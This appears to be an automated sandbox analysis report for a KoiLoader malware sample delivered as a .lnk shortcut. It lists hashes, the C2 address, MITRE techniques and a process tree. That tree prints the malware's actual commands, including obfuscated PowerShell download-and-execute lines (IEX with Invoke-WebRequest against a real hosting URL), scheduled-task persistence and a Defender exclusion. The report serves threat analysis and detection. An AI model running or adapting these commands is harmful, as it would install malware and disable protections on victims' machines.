koiloader | 09ef17dc4284a8d1a8b937354bd8137aa9c0d98bffb897bd891ccff854484e43

General

Target

chase_apr_2025.lnk
Size

1KB
MD5

36a9f6a6fe333f902077a73d990f0a4e
SHA1

906818153a8ff4bf10cfb8615ff6b9021140623c
SHA256

09ef17dc4284a8d1a8b937354bd8137aa9c0d98bffb897bd891ccff854484e43
SHA512

cfc907e28c5069edc9e837b53f13377fbc015e1baba7401d1f3adb0bbdefa1dc95b830da58ef3b84e07ef8e8558d0b9b593e3d5c4c0d258cb50f0c8c73d5f5c7

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://rietiholidays.it/wp-content/uploads/2021/06

Extracted

Family

koiloader

C2

http://103.245.231.56/pentateuchal.php

Attributes

payload_url
https://rietiholidays.it/wp-content/uploads/2021/06

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral1/memory/2276-56-0x0000000007D60000-0x0000000007D6D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	4612	powershell.exe
63	2276	powershell.exe
67	2276	powershell.exe
69	5488	powershell.exe
70	5488	powershell.exe
82	2276	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4612	powershell.exe
2276	powershell.exe
632	powershell.exe
5488	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3975168204-1612096350-4002976354-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4212	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4712	schtasks.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4612	powershell.exe
4612	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
2276	powershell.exe
2276	powershell.exe
632	powershell.exe
632	powershell.exe
632	powershell.exe
5488	powershell.exe
5488	powershell.exe
5488	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	5488	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 4612	5004	cmd.exe	87
PID 5004 wrote to memory of 4612	5004	cmd.exe	87
PID 4612 wrote to memory of 1568	4612	powershell.exe	91
PID 4612 wrote to memory of 1568	4612	powershell.exe	91
PID 4612 wrote to memory of 4712	4612	powershell.exe	92
PID 4612 wrote to memory of 4712	4612	powershell.exe	92
PID 720 wrote to memory of 4212	720	wscript.EXE	104
PID 720 wrote to memory of 4212	720	wscript.EXE	104
PID 4212 wrote to memory of 5480	4212	powershell.exe	106
PID 4212 wrote to memory of 5480	4212	powershell.exe	106
PID 4212 wrote to memory of 468	4212	powershell.exe	107
PID 4212 wrote to memory of 468	4212	powershell.exe	107
PID 468 wrote to memory of 2276	468	wscript.exe	108
PID 468 wrote to memory of 2276	468	wscript.exe	108
PID 468 wrote to memory of 2276	468	wscript.exe	108
PID 2768 wrote to memory of 1560	2768	DllHost.exe	114
PID 2768 wrote to memory of 1560	2768	DllHost.exe	114
PID 2768 wrote to memory of 1560	2768	DllHost.exe	114
PID 1560 wrote to memory of 632	1560	cmd.exe	116
PID 1560 wrote to memory of 632	1560	cmd.exe	116
PID 1560 wrote to memory of 632	1560	cmd.exe	116
PID 2276 wrote to memory of 4072	2276	powershell.exe	118
PID 2276 wrote to memory of 4072	2276	powershell.exe	118
PID 2276 wrote to memory of 4072	2276	powershell.exe	118
PID 4072 wrote to memory of 5488	4072	cmd.exe	120
PID 4072 wrote to memory of 5488	4072	cmd.exe	120
PID 4072 wrote to memory of 5488	4072	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_apr_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $affl = $env:programdata + '\' + ('2qr3mg7cssz4nr.js yxliyx19s'); $getf='D'+'ow'+'nl'+'oadF'+'ile'; $t670luhhb7i6w = New-Object Net.WebClient; $wscs = 'wscript '; $t670luhhb7i6w.$getf('https://rietiholidays.it/wp-content/uploads/2021/06/unprojectingsJX.php', '2qr3mg7cssz4nr.js'); . ('cu'+'rl.e'+'xe') -s -o zqd1lm17ezgl 'https://rietiholidays.it/wp-content/uploads/2021/06/covalencesxjiY.php'; mv zqd1lm17ezgl 'yxliyx19s.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $affl) /tn yxliyx19s;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o zqd1lm17ezgl https://rietiholidays.it/wp-content/uploads/2021/06/covalencesxjiY.php
    3⤵
    PID:1568
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\2qr3mg7cssz4nr.js yxliyx19s" /tn yxliyx19s
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4712

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\2qr3mg7cssz4nr.js yxliyx19s
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -com "schtasks /delete /tn yxliyx19s /f; wscript $env:programdata\yxliyx19s.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn yxliyx19s /f
    3⤵
    PID:5480
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\yxliyx19s.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:468
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://rietiholidays.it/wp-content/uploads/2021/06'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zUCY2VKNMVQ'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/argulusrQbt.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/revettedYf.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2276
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://rietiholidays.it/wp-content/uploads/2021/06/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4072
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://rietiholidays.it/wp-content/uploads/2021/06/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5488

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:632

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\rcb4cb3af-08e1-460e-bfae-f9dd6e47a0b1r.js"
1⤵
PID:4488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\2qr3mg7cssz4nr.js

Filesize
202B

MD5
3407a07c85650e96c3e6ec56aa46ea1a

SHA1
cad92877b5a293aac54432bd9981d68d80aab31a

SHA256
d9719b4c842855ac5b7f8cbbe36b04aed226084e67d26d0c5f239d977f4a49a7

SHA512
76379e47eaa4f254b36595d43d79c0034b02b68015f958ef66fb6c04a83acd7ff3b039c16cdcd7de6c95350a382f18fc29723ea84b7e5151f09a4872f7946e79

Download Submit
C:\ProgramData\zqd1lm17ezgl

Filesize
1KB

MD5
69e9b5dfd8fc40979f299ddd2196f500

SHA1
36775432b67f8130bcee1443a74eba4a72889668

SHA256
1d4961c0d9825bb0b771f5c7b788cf200e2db1e6a62a1481b125edca13d43650

SHA512
43f7e7993e20a15fcc898853d1bd2ffbf459e868a4677faf3f724a75e19acc6d4782c224d143fb0551bc2c7445508e3de018cc6a98481062f33addf4fe6e21f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
bdeca768dc4217d0bfd563e11355b0c7

SHA1
31fcd28400e176ef0826334598313d664633f49d

SHA256
04a8d11d2bac9c3dbfdd62c3dbf6f00eee0767a1228330fb5ef423ad43e8c7d0

SHA512
b611d5814d1c48ebe6bc2ffd6fd7740243fa9dbf01c257723350ce78024a10e35cae281935291414628289b78e17fa7f3b523442b8f8fbb162cd4b17fe5c0a13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3dnaiz43.dzb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/632-86-0x0000000007080000-0x0000000007094000-memory.dmp

Filesize
80KB

Download
memory/632-88-0x0000000007160000-0x0000000007168000-memory.dmp

Filesize
32KB

Download
memory/632-87-0x0000000007180000-0x000000000719A000-memory.dmp

Filesize
104KB

Download
memory/632-85-0x0000000007070000-0x000000000707E000-memory.dmp

Filesize
56KB

Download
memory/632-84-0x0000000007040000-0x0000000007051000-memory.dmp

Filesize
68KB

Download
memory/632-83-0x00000000070C0000-0x0000000007156000-memory.dmp

Filesize
600KB

Download
memory/632-82-0x0000000006EB0000-0x0000000006EBA000-memory.dmp

Filesize
40KB

Download
memory/632-81-0x0000000006D20000-0x0000000006DC3000-memory.dmp

Filesize
652KB

Download
memory/632-70-0x0000000070C20000-0x0000000070C6C000-memory.dmp

Filesize
304KB

Download
memory/632-80-0x0000000006070000-0x000000000608E000-memory.dmp

Filesize
120KB

Download
memory/632-69-0x0000000006CE0000-0x0000000006D12000-memory.dmp

Filesize
200KB

Download
memory/2276-49-0x0000000005FA0000-0x00000000062F4000-memory.dmp

Filesize
3.3MB

Download
memory/2276-53-0x00000000069E0000-0x00000000069FA000-memory.dmp

Filesize
104KB

Download
memory/2276-55-0x0000000007CD0000-0x0000000007CD1000-memory.dmp

Filesize
4KB

Download
memory/2276-56-0x0000000007D60000-0x0000000007D6D000-memory.dmp

Filesize
52KB

Download
memory/2276-52-0x0000000006680000-0x00000000066CC000-memory.dmp

Filesize
304KB

Download
memory/2276-35-0x0000000005030000-0x0000000005066000-memory.dmp

Filesize
216KB

Download
memory/2276-36-0x00000000056A0000-0x0000000005CC8000-memory.dmp

Filesize
6.2MB

Download
memory/2276-37-0x0000000005610000-0x0000000005632000-memory.dmp

Filesize
136KB

Download
memory/2276-38-0x0000000005E40000-0x0000000005EA6000-memory.dmp

Filesize
408KB

Download
memory/2276-51-0x00000000065E0000-0x00000000065FE000-memory.dmp

Filesize
120KB

Download
memory/2276-54-0x0000000007E70000-0x00000000084EA000-memory.dmp

Filesize
6.5MB

Download
memory/2276-39-0x0000000005EB0000-0x0000000005F16000-memory.dmp

Filesize
408KB

Download
memory/4612-14-0x00007FFE3D690000-0x00007FFE3E151000-memory.dmp

Filesize
10.8MB

Download
memory/4612-2-0x00007FFE3D693000-0x00007FFE3D695000-memory.dmp

Filesize
8KB

Download
memory/4612-20-0x00007FFE3D690000-0x00007FFE3E151000-memory.dmp

Filesize
10.8MB

Download
memory/4612-13-0x00007FFE3D690000-0x00007FFE3E151000-memory.dmp

Filesize
10.8MB

Download
memory/4612-3-0x000001D8DAE70000-0x000001D8DAE92000-memory.dmp

Filesize
136KB

Download
memory/5488-102-0x0000000007B10000-0x0000000007B32000-memory.dmp

Filesize
136KB

Download
memory/5488-103-0x0000000008890000-0x0000000008E34000-memory.dmp

Filesize
5.6MB

Download
memory/5488-104-0x0000000006340000-0x000000000635A000-memory.dmp

Filesize
104KB

Download
memory/5488-105-0x0000000008370000-0x00000000083C0000-memory.dmp

Filesize
320KB

Download
memory/5488-106-0x0000000008460000-0x00000000084F2000-memory.dmp

Filesize
584KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads